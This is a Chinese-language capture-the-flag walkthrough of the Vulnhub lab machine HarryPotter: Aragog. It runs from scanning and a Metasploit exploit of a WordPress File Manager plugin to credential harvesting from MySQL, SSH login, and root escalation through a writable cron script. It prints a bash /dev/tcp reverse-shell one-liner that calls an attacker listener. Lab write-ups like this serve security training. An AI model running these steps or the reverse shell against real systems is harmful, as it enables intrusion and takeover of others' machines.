【Vulnhub】HarryPotter Aragog
【Vulnhub】HarryPotter: Aragog
Description:
Aragog is the 1st VM of 3-box HarryPotter VM series in which you need to find 2 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.
(这是 HarryPotter VM 系列的第一个)
信息收集
fscan 扫描内网目标 IP 为:192.168.1.6

namp 对该目标进行全端口服务扫描

进入 80 端口服务 web 页面

页面源代码 和 开发者工具都看不到什么重要信息泄露
dirsearch 目录扫描
dirsearch -u http://192.168.1.6/

进入 /blog/ 目录

发现是 wordpress。并且 Notice 提示他们将要删除一些不用的插件
使用 wpscan 扫描插件,wpscan 的 api-token 可以去官网申请,免费的有额度
wpscan --api-token=***************************** --url=http://192.168.1.6/blog/ --plugins-detection aggressive

漏洞利用
使用 MSF 搜索符合条件的可以利用的方式
search wordpress file manager

use 1

set rhosts http://192.168.1.6
set TARGETURI /blog
set lhost 192.168.1.8

run

进入 shell 模式
shell
到 /home/hagrid98 目录下拿到第一个user flag

提权
从 horcrux1.txt 文件内容种能看到乱码是 base64 格式
解码得到:1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets
翻译过来:1: 里德利的日记被哈里在秘密会议上毁掉了。。。不知道是什么信号
之后查看 wordpress 的默认配置文件

看到 MySQL 的用户名密码:root / mySecr3tPass
登录 MySQL 之前先执行一条命令来提升交互式 shell 的体验,有些时候反弹 shell 的回显可能会出现乱码或者没有回显的情况
python3 -c 'import pty; pty.spawn("/bin/bash");'

(我这里中途断开连接,又重新连了一次)
用得到的 MySQL 账号密码登录

show databases;
use wordpress;
show tables;
select * from wp_users;

拿到用户名密码。
密码解密后得到password123
使用 ssh 用户名/密码:hagrid98 / password123 连接尝试

连接成功!
查看权限以及历史操作

查找系统中所有具有 SUID 权限的文件
find / -perm -4000 -type f 2>/dev/null
查看是否有可执行的脚本
find / -name '*.sh'

有一个有权限的可执行脚本
查看脚本内容
cat /opt/.backup.sh

解析一下就是,将wordpress中上传的所有内容复制到 /tmp/tmo_wo_uploads 中
可能这个脚本每过一段时间就会执行一次(考虑到内容同步的情况)
那么就在这个脚本里面写一个 php 的反弹shell代码
bash -c 'bash -i >& /dev/tcp/192.168.11.128/1235 0>&1'

监听几分钟

拿到 root 用户的 flag


浙公网安备 33010602011771号